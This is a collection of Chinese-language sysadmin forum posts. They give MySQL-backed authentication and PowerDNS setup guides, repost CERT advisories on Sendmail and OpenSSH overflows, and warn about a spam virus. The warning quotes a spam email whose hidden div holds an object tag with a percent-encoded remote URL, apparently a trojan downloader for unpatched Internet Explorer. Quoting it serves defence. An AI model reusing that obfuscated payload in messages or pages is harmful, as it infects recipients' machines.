#AuthMySQLMD5Passwords Off
# KeepAlive 請參考 README 的說明,我的理解是在同一個網站下,
# .htaccess 皆使用 mod_auth_mysql ,不同的 AuthName 可不用再認證
# 一般不建議如此做
AuthMySQLKeepAlive Off
# 如果 mod_auth_mysql 認證不成功,還可以使用其他認證
AuthMySQLAuthoritative On
# 只要 user 在 TABLE 中,可以沒有 password 的設定(On)
AuthMySQLNoPasswd Off
# 以下我個人覺得不常用,您參考看看

AuthMySQLGroupField gid
AuthMySQLGroupTable users
# User 認證的額外條件 , 如 shell 需為 bash
AuthMySQLUserCondition shell='/bin/bash'
#AuthMySQLGroupCondition <no default>
<Limit GET POST PUT>
require valid-user
#require group xxx
</Limit>

DirectoryIndex index.php

Order allow,deny
Allow from all


結語
使用 mod_auth_mysql,因為以這種方式可以使用遠端的認證來源,
且每一部機器一些條件則可達到存取控制條件,個人覺得是一種很好的方法.

14
[分享] Libnss + Pam_mysql ,以 mysql 做身份認證

說明
Libnss 是一套身份查詢程式,原來系統以自有的一些函式來取得自己的一些
身份上的參數,像 uid/gid , username 等等,這些函數像 getpwnam/getpwuid
/getspnam ...等等,而這些身份函數通像是傳回一些結構(struct),libnss 的
作用即是在於可以將這些函數改為使用 SQL 的語法
若使用了 libnss-mysql,原來的系統帳號還是有作用的,所以即使在設定 libnss 上
不成功,但對系統來說是不會有什麼嚴重的影響

至於 pam_mysql 則是用於您登入時的認證,如大家所知, pam 模組主要在做認證,
而原 pam 模組皆以 passwd/shadow 等做為認證來源,此時,若您多加一些設定,
即可以有兩套認證方式,一個是原來的 passwd/shadow ,而另一個就是 mysql 了

libnss-mysql 安裝
libnss-mysql 下載處    http://libnss-mysql.sourceforge.net
libnss-mysql 的安裝(可以在該 url 下找到 rpm 檔,但以下介紹皆以 tarball 做說明)

代碼: [選擇]

$>wget http://unc.dl.sourceforge.net/sourceforge/libnss-mysql/libnss-mysql-1.0.tar.gz
$>tar -zxvf libnss-mysql-1.0.tar.gz
$>cd libnss-mysql-1.0
# 查看 complier 可用參數,prefix 可不管,重要的是 mysql 部份
#  --with-mysql-inc=DIR    Location of your MySQL include files
#  --with-mysql-lib=DIR    Location of your MySQL libraries
$>./configure --help | more  
$>./configure   --with-mysql-inc=/usr/include/mysql --with-mysql-lib=/usr/lib/mysql
$>make
$>make install


libnss-mysql 的設定

裝好後有兩個重要的動作,產生認證的資料庫及設定 libnss 的設定
檔(/etc/libnss-mysql.cfg).認證的資料庫您可在 libnss-mysql-1.0
下的 sample 目錄下找到 sample_database.sql只要將他丟到 mysql
執行即可,
代碼: [選擇]

$>cat sample_database.sql| mysql -u username -pPassword

他會產生三個表,如下圖結構

只要您了解 passwd/shadow/group 等結構,您就會了解TABLE 中欄位的意義

libnss 的設定檔有兩個,及 libnss-mysql.cfg  libnss-mysql-root.cfg,其中最重要的
就是 libnss-mysql.cfg , 這個檔案的內容及功能如下:
代碼: [選擇]

# /etc/libnss-mysql.cfg
#以下皆是身份相關函式的 SQL 查詢設定
#可 man getpwnam 等方式查到其字義
[queries]
getpwnam    SELECT username,'x',uid,gid,gecos,homedir,shell FROM users WHERE username='%s' LIMIT 1
getpwuid    SELECT username,'x',uid,gid,gecos,homedir,shell FROM users WHERE uid='%u' LIMIT 1
getspnam    SELECT username,password,lstchg,min,max,warn,inact,expire,flag FROMusers WHERE username='%s' LIMIT 1
getpwent    SELECT username,'x',uid,gid,gecos,homedir,shell FROM users
getspent    SELECT username,password,lstchg,min,max,warn,inact,expire,flag FROM users
getgrnam    SELECT name,password,gid FROM groups WHERE name='%s' LIMIT 1
getgrgid    SELECT name,password,gid FROM groups WHERE gid='%u' LIMIT 1
getgrent    SELECT name,password,gid FROM groups
memsbygid   SELECT username FROM grouplist WHERE gid='%u'
gidsbymem   SELECT gid FROM grouplist where username='%s'


#mysql 連結參數,請依實際狀況調整
[server]
host        Mysql_IP
database    auth
username    nss
password    nss-password
#socket      /var/lib/mysql/mysql.sock
#port        3306
ssl         0
timeout     3
compress    0
#initcmd     sql-statement-here


另外,尚有兩個檔案要小改
代碼: [選擇]

#/etc/libnss-mysql-root.cfg 內容
#這個檔案的意義我就不懂了,因為官網中好像沒有什麼特別的設明,所以我就設成和上相同
[server]
username    nss
password    nss-password


另一個是最重要的,原來您的系統上就有這個檔案,而 libnss 也附了一個給你,
/etc/nsswitch.conf,這個內容基本上您可直接使用 libnss 附的即可,
他只在裏面加了三行而以
代碼: [選擇]

# files 即原來的系統,  mysql 則是第二選擇,建議您以 files 為先
#....前略
# 若您
passwd:     files mysql
shadow:     files mysql
group:      files mysql

#...後略

基本上 libnss-mysql 僅是提供查詢 mysql 函數,要等人 Login 後才會用到,
而 Login時是透過 PAM 做認證,所以我們還需要 pam_mysql 模組


PAM_MYSQL
pam_mysql 下載處 http://sourceforge.net/project/showfiles.php?group_id=5741&package_id=5797

安裝
代碼: [選擇]

$>wget http://cesnet.dl.sourceforge.net/sourceforge/pam-mysql/pam_mysql-0.5.tar.gz
$>tar -zxvf pam_mysql-0.5.tar.gz
$>cd pam_mysql
# 注意 MakeFile 中, export LD_D=gcc -shared -Xlinker -x -L/usr/lib/mysql -lz 這一行中
# 的 mysql lib 路徑是否是確
$>make
$>make install
# 就我所知,有的版本 make install 會失效,此時可直接將cp pam_mysql.so 到 pam 模組路徑
$> cp pam_mysql.so /lib/security/


修改 /etc/pam.d 下相關檔案,其中的 login , passwd 最重要,至於其他如 pop,imap ...改不改看個人
代碼: [選擇]

#/etc/pam.d/login
#%PAM-1.0

#這一段是原來的部份
auth       required     /lib/security/pam_securetty.so
auth       required     /lib/security/pam_stack.so service=system-auth
auth       required     /lib/security/pam_nologin.so
account    required     /lib/security/pam_stack.so service=system-auth
password   required     /lib/security/pam_stack.so service=system-auth
session    required     /lib/security/pam_stack.so service=system-auth
session    optional     /lib/security/pam_console.so

#這一段是 pam_mysql 的部份
#  其中
# host/db/user/passwd: mysql 相關參數,請根據自己狀況填寫
# usercolumn: username 的欄位
# passwdcolumn: password 的欄位
# crypt:   0 明碼,1 Crypt(即一般的系統方式) ,2 mysql 的 PASSWORD 函式
# 其他請參考 pam_mysql 的 README 說明
auth       required     /lib/security/pam_mysql.so user=nss passwd=nss-password host=Mysql_IP db=auth usercolumn=username passwdcolumn=password crypt=1
account    required     /lib/security/pam_mysql.so user=nss passwd=nss-password host=Mysql_IP db=auth usercolumn=username passwdcolumn=password crypt=1
password   required     /lib/security/pam_mysql.so user=nss passwd=nss-password host=Mysql_IP db=auth usercolumn=username passwdcolumn=password crypt=1
session    required     /lib/security/pam_mysql.so user=nss passwd=nss-password host=Mysql_IP db=auth usercolumn=username passwdcolumn=password crypt=1


至於其他的 pam 設定只要將上述四行加入即可

結語
如果使用 libnss-mysql + pam_mysql 請注意,最好在原系統的 /etc/passwd
保留一個一般使用者的帳號,以免檔當您 mysql 不 work 時,無法登入系統處
理,另外,亦可在每部的 Unix/Linux 的機器裝這個東東,即可以共用一套認證
來源.而有其他學員及學長提到的 ldap 認證,亦是接近的做法,只是 protocol
不同,可參考 ldap 討論區外,亦可以看看下面這個網址詳細的介紹
http://www.hut.fi/cc/docs/kerberos/nss_ldap.html
至於使用者相關的操作,adduser/userdel/passwd 並無法作用於 libnss-mysql,
雖然我們只自有寫一套如上相關的 command 去增加 mysql 中的 user,但其中
的做法較複雜,且程式沉長,較無法為大家介紹.而一般的做法會建議您使用
phpMyAdmin 來操作上面的 command , 至於 homedir 實際的建立就只有手動了

15
[分享] PowerDNS (連接mysql,realtime update) 的介紹

說明
若您使用過一般的 DNS 軟體,想必您一定知道,當您在 DNS 中添加一筆 FQDN 資料時
,通常都得要重新執行 DNS 服務的功能,若您尚有其他主機,通常會設為 master/slave
之狀況,而這種狀況更有資料同步的設定問題.但相信很多人都會有一個疑問,就是難到
不能 DNS 在接到查詢請求時,才到資料庫中去查,然再回應給使用者,如此即可以做到即
時的更新,且以資料庫型式來處理網域名稱相關係料,可以有更多的加值空間.


  其實答案是可以的,且方法完全不難,並支援多數的 OS 平台(Windows,Linux,Unix,
BSD, Mac OS 等) ,網路上,最有名即 PowerDNS,可從 www.powerdns.com 處下載到,以
下就簡單的介紹這套軟體的安裝及設定步驟

代碼: [選擇]

$>wget http://downloads.powerdns.com/releases/pdns-2.9.13.tar.gz
$>tar -zxvf pdns-2.9.13.tar.gz
$>cd pdns-2.9.13
$>ls -la
$>./configure --help | more
$>which mysql
$>./configure --prefix=/usr --with-mysql=/usr
$>make
$>make install  


除了支援 mysql 外,也支援 pgsql ( 詳細的編譯條件您可使用 –help 取得 ),
裝好後設定檔在 /usr/local/etc/pdns.conf 中,詳細的設定檔內容您可以在
http://downloads.powerdns.com/documentation/html/ 取得,以上僅例一個
最簡單的例子供參考:

代碼: [選擇]

  launch=gmysql #使用 mysql 資料庫  
  gmysql-host=localhost # 主機位址或 hostname  
  gmysql-user=username # mysql 的使用者名稱
  gmysql-password=passwd # 該使用者之密碼
  gmysql-dbname=DNS # 資料庫名稱
  logfile=/var/log/pdns.log # 系統記錄檔
  query-logging=yes # DNS查詢的資料是否記錄
  webserver=yes # 使用 Web 功能監測系統
  webserver-address=211.76.247.2 # IP 位址
  webserver-password=http_passwd # Web 監測系統登入密碼
  webserver-port=8081 # Web Server 的port  
  recursor=168.95.1.1 # 轉送查詢之主機  


而其中的資料庫名為 DNS , 其表格如下
代碼: [選擇]

  CREATE TABLE domains (
id int(11) NOT NULL auto_increment,
name varchar(255) NOT NULL default '',
master varchar(20) default NULL,
last_check int(11) default NULL,
type varchar(6) NOT NULL default '',
notified_serial int(11) default NULL,
account varchar(40) default NULL,
PRIMARY KEY (id),
UNIQUE KEY name_index (name)
) TYPE=MyISAM;
CREATE TABLE records (
id int(11) NOT NULL auto_increment,
domain_id int(11) default NULL,
name varchar(255) default NULL,
type varchar(6) default NULL,
content varchar(255) default NULL,
ttl int(11) default NULL,
prio int(11) default NULL,
change_date int(11) default NULL,
PRIMARY KEY (id),
KEY rec_name_index (name),
KEY nametype_index (name,type),
KEY domain_id (domain_id),
FULLTEXT KEY content (content),
FULLTEXT KEY content_2 (content)
) TYPE=MyISAM;

 上面所指的資料庫名稱(DNS) 之表格共兩個,其內容如下:




以下為範資料及查詢例子,依上面表格及表格之內容(請記得填寫 SOA 及
NS 內容,prio 欄位為 MX 之優先權欄位),我們查詢 xxx.com.tw 之 NS
記錄,可以正確顯示出來
代碼: [選擇]

[root@CISCO_SIP admin]# dig @localhost xxx.com.tw. ns
;; QUESTION SECTION:
;xxx.com.tw. IN NS
;; ANSWER SECTION:
xxx.com.tw. 15 IN NS ns1.xxx.com.tw.

;; ADDITIONAL SECTION:
ns1.xxx.com.tw. 86400 IN A 1.2.3.4

;; Query time: 3 msec
;; SERVER: 127.0.0.1#53(localhost)
;; WHEN: Sat Jan 17 02:52:06 2004
;; MSG SIZE rcvd: 62

 
上述之內容若您對一般的 DNS 設定夠了解,相信表格中的欄位意義您亦可以
了解,但以一般的 DNS 而言,TWNIC DNS指定最少兩部的要求,若您架了兩部的
PDNS,要如何做 master 與 slave 的區別呢? PDNS 沒有轄區傳送之問題,而
是您需要從資料庫層層著手,使兩個資料庫可以同步,以 mysql 而言,可參考
http://www.mysql.com/doc/en/Replication.html 中詳細的說明.
pdns.conf 中的 Web 該段,您可設定好啟動後,以
http://webserver-address:webserver-port
連線即可看到 PDNS 運作狀況:


 上面的之畫面尚不到監測項目的五分之一,基本上 PDNS server 的狀況都
可以從這個畫面了解.Pdns.conf 中的最後一個部份
recursor=168.95.1.1
,類似一般 DNS 設定中之 forward 功能,若您沒有此行設定,您的 PDNS 屬於
非遞迴主機(non-recursion).因為大多數以資料庫為主的 DNS (如 mydns,twnic dyndns)
在實作,考慮速度及安全的因素下,皆會為非遞迴主機,若您一定要 PDNS 幫您
查出來它所沒有的資料的答案,就需要指定此一參數,方能如同一般的 DNS 功能.

 資料庫型式故有其優點,但相對的其查詢速度就比非資料庫的來得慢,以我測
試的狀況 PDNS 的查詢每秒最多僅能查詢近千次,而 ISC BIND(named) 則可
上萬次,然每秒千次之查詢對 99% 的公司而言亦巳相當足夠.至於您若要讓您
的使用者或客戶使用 PDNS 的資料庫功能,基本上您可能需開發適檔的網頁功
能,不過網路上亦有人針對 PDNS 做了一套網頁.有興趣您可到 www.sf.net
找 PowerAdmin 的網頁介面

16
VeriSign 在 .com .net 的 gTLD 上加了
* IN A 64.94.110.11
請問,對 Internet 各種服務會有什麼影響 ?
另外要如何有效預防 ?

PS: Verisign 因 Internet 各社群反彈太現在巳拿掉了
Google keyword: Verisign site finder
數十萬筆 link .....

17
http://www.openssl.org/news/secadv_20030930.txt
我不知 Redhat 的連結在哪~有興趣可以去找一下~


sendmail........
openssh........
mysql..........

18
現在換 sendmail 了,今天就發現 sendmail 8.12.10 出來了,還在想 sendmail.org
怎版本更新如此快呢 ! 8.12.9 才出沒多久  :o
不過根據我個人 try 一些 mail server banner....
大概沒有多少人更新到 8.12.9, 更何況今天的 8.12.10 呢 !
最近真熱鬧呀~預祝各位好運囉 (相信許多人不敢亂動 mail server , 因為怕動了後不 work ...不動就只能燒香了)

-----BEGIN PGP SIGNED MESSAGE-----

CERT Advisory CA-2003-25 Buffer Overflow in Sendmail

  Original issue date: September 18, 2003
  Last revised: --
  Source: CERT/CC

  A complete revision history is at the end of this file.


Systems Affected

    * Systems  running  open-source  sendmail versions prior to 8.12.10,
      including UNIX and Linux systems

    * Commercial   releases   of  sendmail  including  Sendmail  Switch,
      Sendmail Advanced Message Server (SAMS), and Sendmail for NT


Overview

  A  vulnerability  in sendmail could allow a remote attacker to execute
  arbitrary  code  with the privileges of the sendmail daemon, typically
  root.


I. Description

  Sendmail is a widely deployed mail transfer agent (MTA). Many UNIX and
  Linux  systems  provide  a sendmail implementation that is enabled and
  running  by  default. Sendmail contains a vulnerability in its address
  parsing  code.  An  error  in  the  prescan()  function could allow an
  attacker  to  write  past  the  end  of  a  buffer,  corrupting memory
  structures.  Depending  on platform and operating system architecture,
  the  attacker  may  be able to execute arbitrary code with a specially
  crafted email message.

  This vulnerability is different than the one described in CA-2003-12.

  The   email   attack   vector   is   message-oriented  as  opposed  to
  connection-oriented. This means that the vulnerability is triggered by
  the  contents  of  a  specially  crafted  email message rather than by
  lower-level  network  traffic.  This  is important because an MTA that
  does  not  contain  the  vulnerability  may pass the malicious message
  along  to  other  MTAs  that may be protected at the network level. In
  other  words, vulnerable sendmail servers on the interior of a network
  are  still  at risk, even if the site's border MTA uses software other
  than sendmail. Also, messages capable of exploiting this vulnerability
  may pass undetected through packet filters or firewalls.

  Further  information is available in VU#784980. Common Vulnerabilities
  and Exposures (CVE) refers to this issue as CAN-2003-0694.


II. Impact

  Depending  on  platform  and  operating  system architecture, a remote
  attacker  could  execute  arbitrary  code  with  the privileges of the
  sendmail   daemon.  Unless  the  RunAsUser  option  is  set,  Sendmail
  typically runs as root


III. Solution

Upgrade or apply a patch

  This  vulnerability is resolved in Sendmail 8.12.10. Sendmail has also
  released a patch that can be applied to Sendmail 8.9.x through 8.12.9.
  Information  about specific vendors is available in Appendix A. and in
  the Systems Affected section of VU#784980.

  Sendmail  8.12.10  is  designed to correct malformed messages that are
  transferred  by  the server. This should help protect other vulnerable
  sendmail servers.

Enable the RunAsUser option

  While  there  is  no  known  complete workaround, consider setting the
  RunAsUser  option  to  reduce  the impact of this vulnerability. It is
  typically  considered  to  be  a  good  security practice to limit the
  privileges of applications and services whenever possible.


Appendix A. Vendor Information

  This  appendix  contains information provided by vendors. When vendors
  report  new  information, this section is updated, and the changes are
  noted  in  the  revision  history. If a vendor is not listed below, we
  have  not  received their direct statement. Further vendor information
  is available in the Systems Affected section of VU#784980.

Debian

    The  sendmail  and  sendmail-wide  packages  are vulnerable to this
    issue.  Updated  packages  are being prepared and will be available
    soon.

F5 Networks

    BIG-IP and 3-DNS products are not vulnerable.

IBM

    The  AIX  Security  Team  is  aware of the issues discussed in CERT
    Vulnerability Note VU#784980.

    The following APARs will be released to address this issue:

     APAR number for AIX 4.3.3: IY48659 (available approx. 10/03/03)
     APAR number for AIX 5.1.0: IY48658 (available approx. 10/15/03)
     APAR number for AIX 5.2.0: IY48657 (available approx. 10/29/03)

    An  e-fix  will  be  available shortly. The e-fix will be available
    from:

    ftp://ftp.software.ibm.com/aix/efixes/security/sendmail_4_efix.tar.Z

    This  vendor  statement  will  be  updated  when  the e-fix becomes
    available.

Lotus

    This  is  a  sendmail-specific issue that does not affect any Lotus
    products.

Network Appliance

    NetApp products are not vulnerable to this problem.

NetBSD

    NetBSD-current  ships  with sendmail 8.12.9 since June 1, 2003. The
    patch  was  applied  on  September  17, 2003. In the near future we
    would upgrade to sendmail 8.12.10.

    Our  official  releases,  such  as  NetBSD 1.6.1, are also affected
    (they ship with older version of sendmail). They will be patched as
    soon  as  possible. We would issue NetBSD Security Advisory on this
    matter.

Openwall GNU/*/Linux

    Openwall  GNU/*/Linux  is  not  vulnerable.  We  ship  Postfix, not
    Sendmail.

Red Hat

    Red  Hat  Linux  and  Red Hat Enterprise Linux ship with a Sendmail
    package  vulnerable  to these issues. Updated Sendmail packages are
    available  along  with our advisory at the URLs below. Users of the
    Red Hat Network can update their systems using the 'up2date' tool.

    Red Hat Linux:

     http://rhn.redhat.com/errata/RHSA-2003-283.html

    Red Hat Enterprise Linux:

     http://rhn.redhat.com/errata/RHSA-2003-284.html

The Sendmail Consortium

    The  Sendmail  Consortium  recommends that sites upgrade to 8.12.10
    whenever  possible.  Alternatively,  patches are available for 8.9,
    8.10, 8.11, and 8.12 on http://www.sendmail.org/.

Sendmail Inc.

    All   commercial   releases  including  Sendmail  Switch,  Sendmail
    Advanced  Message  Server (which includes the Sendmail Switch MTA),
    Sendmail for NT, and Sendmail Pro are affected by this issue. Patch
    information is available at http://www.sendmail.com/security/.

Sun

    Sun  acknowledges  that  our  recent release of sendmail 8.12.10 is
    affected by this issue on Solaris releases S7, S8 and S9.

    A Sun Alert for this issue will be isuued very soon which will then
    be available from:

     http://sunsolve.Sun.COM/pub-cgi/retrieve.pl?doc=fsalert/56860

    There  are no patches available at this time. The Sun Alert will be
    updated  with the patch information as it becomes available. Please
    refer to the Sun Alert when available, for more information.

SuSE

    SuSE  products shipping sendmail are affected. Update packages that
    fix  the  vulnerability  are  being  prepared and will be published
    shortly.

Appendix B. References

    * CERT/CC Vulnerability Note VU#784980 -
      <http://www.kb.cert.org/vuls/id/784980>;
    * Michal Zalewski's post to BugTraq -
      <http://www.securityfocus.com/archive/1/337839>;
    * Sendmail 8.12.10 - <http://www.sendmail.org/8.12.10.html>;
    * Sendmail patch for 8.12.9 -
      <http://www.sendmail.org/patches/parse8.359.2.8>;
    * Sendmail 8.12.10 announcement -
      <http://archives.neohapsis.com/archives/sendmail/2003-q3/0002.html
      >
    * Sendmail Secure Install -
      <http://www.sendmail.org/secure-install.html>;
 
    _________________________________________________________________

  This  vulnerability was discovered by Michal Zalewski. Thanks to Claus
  Assmann  and  Eric Allman of Sendmail for their help in preparing this
  document.
    _________________________________________________________________

  Feedback can be directed to the author, Art Manion.
  ______________________________________________________________________

  This document is available from:
  http://www.cert.org/advisories/CA-2003-25.html
  ______________________________________________________________________


CERT/CC Contact Information

  Email: cert@cert.org
         Phone: +1 412-268-7090 (24-hour hotline)
         Fax: +1 412-268-6989
         Postal address:
         CERT Coordination Center
         Software Engineering Institute
         Carnegie Mellon University
         Pittsburgh PA 15213-3890
         U.S.A.

  CERT/CC   personnel   answer  the  hotline  08:00-17:00  EST(GMT-5)  /
  EDT(GMT-4)  Monday  through  Friday;  they are on call for emergencies
  during other hours, on U.S. holidays, and on weekends.

Using encryption

  We  strongly  urge you to encrypt sensitive information sent by email.
  Our public PGP key is available from

    http://www.cert.org/CERT_PGP.key

  If  you  prefer  to  use  DES,  please  call the CERT hotline for more
  information.

Getting security information

  CERT  publications  and  other security information are available from
  our web site

    http://www.cert.org/

  To  subscribe  to  the CERT mailing list for advisories and bulletins,
  send  email  to majordomo@cert.org. Please include in the body of your
  message

  subscribe cert-advisory

  *  "CERT"  and  "CERT  Coordination Center" are registered in the U.S.
  Patent and Trademark Office.
  ______________________________________________________________________

  NO WARRANTY
  Any  material furnished by Carnegie Mellon University and the Software
  Engineering  Institute  is  furnished  on  an  "as is" basis. Carnegie
  Mellon University makes no warranties of any kind, either expressed or
  implied  as  to  any matter including, but not limited to, warranty of
  fitness  for  a  particular purpose or merchantability, exclusivity or
  results  obtained from use of the material. Carnegie Mellon University
  does  not  make  any warranty of any kind with respect to freedom from
  patent, trademark, or copyright infringement.
  ______________________________________________________________________

  Conditions for use, disclaimers, and sponsorship information

  Copyright 2003 Carnegie Mellon University.


Revision History

  September 18, 2003: Initial release

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.8

iQCVAwUBP2nC8jpmH2w9K/0VAQFKwwP/Vagji3+avI6eb/5C++JCjjmL0Y+JrFmD
6DWgYsOVASDUO4bUyHYiAl2BM8s3owsprTRuKFl3WOf18h++qtTOOO1oeRt+bhqP
1q6ImxjAem7kM2f5e3xdArowptIlqMXFakQ2N3gHqyfXEcmgESrFcGNS8oCV20Y4
rriFRV/lvDU=
=/mMy
-----END PGP SIGNATURE-----

19
更不更新看個人囉~只能說,只要你有用 openssh 的,都有漏洞就是了
(因為沒有問題的版本昨天才出...沒有問題版本出來後, CERT 才會公布漏洞提醒大家,不然時間沒有這麼巧合的... :D )
打睹,三天內就會有 exploit code 出來了  :o


-----BEGIN PGP SIGNED MESSAGE-----

CERT Advisory CA-2003-24 Buffer Management Vulnerability in OpenSSH

   Original release date: September 16, 2003
   Last revised: --
   Source: CERT/CC

   A complete revision history can be found at the end of this file.


Systems Affected

     * Systems running versions of OpenSSH prior to 3.7
     * Systems  that  use  or  derive  code  from  vulnerable versions of
       OpenSSH


Overview

   There  is  a  remotely  exploitable  vulnerability in a general buffer
   management  function  in  versions  of  OpenSSH prior to 3.7. This may
   allow  a  remote  attacker  to corrupt heap memory which could cause a
   denial-of-service  condition.  It may also be possible for an attacker
   to execute arbitrary code.


I. Description

   A  vulnerability exists in the buffer management code of OpenSSH. This
   vulnerability  affects  versions prior to 3.7. The error occurs when a
   buffer is allocated for a large packet. When the buffer is cleared, an
   improperly  sized  chunk of memory is filled with zeros. This leads to
   heap corruption, which could cause a denial-of-service condition. This
   vulnerability may also allow an attacker to execute arbitrary code.
   This vulnerability is described in an advisory from OpenSSH

     <http://www.openssh.com/txt/buffer.adv>

   and in FreeBSD-SA-03:12:

     <ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-03:12.
     openssh.asc>

   Other  systems  that  use or derive code from OpenSSH may be affected.
   This   includes  network  equipment  and  embedded  systems.  We  have
   monitored incident reports that may be related to this vulnerability.

   Vulnerability Note VU#333628 lists the vendors we contacted about this
   vulnerability. The vulnerability note is available from

     <http://www.kb.cert.org/vuls/id/333628>

   This   vulnerability   has   been   assigned   the   following  Common
   Vulnerabilities and Exposures (CVE) number:

     http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0693


II. Impact

   While  the  full  impact  of  this  vulnerability is unclear, the most
   likely  result  is  heap  corruption,  which could lead to a denial of
   service.

   If it is possible for an attacker to execute arbitrary code, then they
   may  be  able  to  so with the privileges of the user running the sshd
   process,  typically  root. This impact may be limited on systems using
   the privilege separation (privsep) feature available in OpenSSH.


III. Solution

Upgrade to OpenSSH version 3.7

   This  vulnerability  is  resolved  in  OpenSSH  version  3.7, which is
   available from the OpenSSH web site at

     <http://www.openssh.com/>

Apply a patch from your vendor

   A patch for this vulnerability is included in the OpenSSH advisory at

     <http://www.openssh.com/txt/buffer.adv>

   This  patch  may  be manually applied to correct this vulnerability in
   affected  versions  of OpenSSH. If your vendor has provided a patch or
   upgrade,  you  may  want  to apply it rather than using the patch from
   OpenSSH.  Find information about vendor patches in Appendix A. We will
   update this document as vendors provide additional information.

Use privilege separation to minimize impact

   System  administrators  running  OpenSSH versions 3.2 or higher may be
   able  to  reduce  the  impact  of  this  vulnerability by enabling the
   "UsePrivilegeSeparation"    configuration   option   in   their   sshd
   configuration  file.  Typically,  this  is  accomplished by creating a
   privsep user, setting up a restricted (chroot) environment, and adding
   the following line to /etc/ssh/sshd_config:

     UsePrivilegeSeparation yes

   This  workaround  does  not  prevent  this  vulnerability  from  being
   exploited,  however  due  to  the  privilege separation mechanism, the
   intruder  may  be  limited  to  a  constrained chroot environment with
   restricted   privileges.   This   workaround  will  not  prevent  this
   vulnerability  from  creating  a  denial-of-service condition. Not all
   operating  system  vendors  have  implemented the privilege separation
   code,  and on some operating systems it may limit the functionality of
   OpenSSH.  System administrators are encouraged to carefully review the
   implications  of  using  the workaround in their environment and use a
   more  comprehensive solution if one is available. The use of privilege
   separation   to   limit   the  impact  of  future  vulnerabilities  is
   encouraged.


Appendix A. - Vendor Information

   This  appendix  contains  information  provided  by  vendors  for this
   advisory.  As  vendors  report new information to the CERT/CC, we will
   update  this  section  and  note  the changes in the revision history.
   Additional  vendors  who  have not provided direct statements, but who
   have  made public statements or informed us of their status are listed
   in VU#333628. If a vendor is not listed below or in VU#333628, we have
   not received their comments.

Bitvise

     Our  software  shares  no codebase with the OpenSSH implementation,
     therefore  we  believe that, in our products, this problem does not
     exist.

Cray, Inc.

     Cray  Inc.  supports  OpenSSH  through its Cray Open Software (COS)
     package.  Cray is vulnerable to this buffer management error and is
     in  the  process  of compiling OpenSSH 3.7. The new version will be
     made available in the next COS release.

Debian

     A  fix for the buffer management vulnerability is available for the
     ssh package at http://www.debian.org/security/2003/dsa-382

     A  fix  for  the  ssh-krb5  (ssh  with kerberos support) package is
     available at http://www.debian.org/security/2003/dsa-383

Mandrake Software

     Mandrake  Linux  is  affected  and  MDKSA-2003:090 will be released
     today with patched versions of OpenSSH to resolve this issue.

PuTTY

     PuTTY  is  not  based on the OpenSSH code base, so it should not be
     vulnerable to any OpenSSH-specific attacks.
     _________________________________________________________________

   The  CERT/CC  thanks  Markus  Friedl  of  the  OpenSSH project for his
   technical assistance in producing this advisory.
     _________________________________________________________________

   Authors: Jason A. Rafail and Art Manion
   ______________________________________________________________________

   This document is available from:
   <http://www.cert.org/advisories/CA-2003-24.html>
   ______________________________________________________________________

CERT/CC Contact Information

   Email: cert@cert.org
          Phone: +1 412-268-7090 (24-hour hotline)
          Fax: +1 412-268-6989
          Postal address:
          CERT Coordination Center
          Software Engineering Institute
          Carnegie Mellon University
          Pittsburgh PA 15213-3890
          U.S.A.

   CERT/CC   personnel   answer  the  hotline  08:00-17:00  EST(GMT-5)  /
   EDT(GMT-4)  Monday  through  Friday;  they are on call for emergencies
   during other hours, on U.S. holidays, and on weekends.

Using encryption

   We  strongly  urge you to encrypt sensitive information sent by email.
   Our public PGP key is available from
   
     <http://www.cert.org/CERT_PGP.key>

   If  you  prefer  to  use  DES,  please  call the CERT hotline for more
   information.

Getting security information

   CERT  publications  and  other security information are available from
   our web site
   
     <http://www.cert.org/>

   To  subscribe  to  the CERT mailing list for advisories and bulletins,
   send  email  to majordomo@cert.org. Please include in the body of your
   message

   subscribe cert-advisory

   *  "CERT"  and  "CERT  Coordination Center" are registered in the U.S.
   Patent and Trademark Office.
   ______________________________________________________________________

   NO WARRANTY
   Any  material furnished by Carnegie Mellon University and the Software
   Engineering  Institute  is  furnished  on  an  "as is" basis. Carnegie
   Mellon University makes no warranties of any kind, either expressed or
   implied  as  to  any matter including, but not limited to, warranty of
   fitness  for  a  particular purpose or merchantability, exclusivity or
   results  obtained from use of the material. Carnegie Mellon University
   does  not  make  any warranty of any kind with respect to freedom from
   patent, trademark, or copyright infringement.
   ______________________________________________________________________

   Conditions for use, disclaimers, and sponsorship information

   Copyright 2003 Carnegie Mellon University.

   Revision History

     September 16, 2003: Initial release

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.8

iQCVAwUBP2eByzpmH2w9K/0VAQGnaAP/Zb54OjkSVC0594mOAQDT5s92IOUHY2ND
aonp3h1jPmg6kJ6jJyh1Z4ZyC3tFoQa8EnAgKs7tFYJHr/65t4ASLycB/X/tJu1T
KGIG+yJ/MP9OZ0s/i2Rp95x1u8wrQHoq1TuDs+sJ6clu638dFcgZk2CzZSojPIr9
hgzCzPOAscA=
=Xysb
-----END PGP SIGNATURE-----

20
系統安全討論版 / 小心一種 SPAM 病毒哦
« 於: 2003-09-06 16:27 »
從一些 news 看到的一種 spam virus
利用 outlook 等的 html 展開功能讓你的 IE 中毒而下載 木馬
IE 沒有 patch 的小心點囉~~
管 mail server 要盡責了...
MIS 可能又有得忙囉 (也可能不會有太大的規模啦)

以上是 SPAM Virus 的部份內容,參考看看了,他利用
IE (html) 中的 object 語法讓你的 outlook 去讀他的網站
> I recently received the following HTML spam e-mail:
>
> ----<html>
> <head>
> <div style="display.none">&lt;object data="http://%363.2%346.%3130.2%30%31%2F%
> 63g%69%2D%62i%6E%2Fa%2E%63%67%69">&lt;/object&gt;</div>
> </head>
> <body>
> <p>Hey,</p>
> <p>Want to go to the pub on Saturday?</p>
> <p>Last Saturday was a blast!</p>
> <p>Let me know!</p>
> </body>
> ------</html>

掌握先機..不要等中毒了才叫苦連天

PS: 不過我看國內那些 SPAMer 大概沒有這種能力吧

21
1. BCC (如 outlook 收信人:無)如何知道寄給什麼人?
2. 如何不允許 BCC ?
3. 如何 deny any_words@yourdomain.com (其中 any_words 為您系統上不存在的使用者)的來信 ?
4. 一網域名稱為 xxx.com.tw. , 收件方為 yyy.com.tw., 若他們在 TWNIC 的指定如下:
ns1.xxx.com.tw. IP1
ns2.xxx.com.tw. IP2

ns1.yyy.com.tw. IP3
ns2.yyy.com.tw. IP4

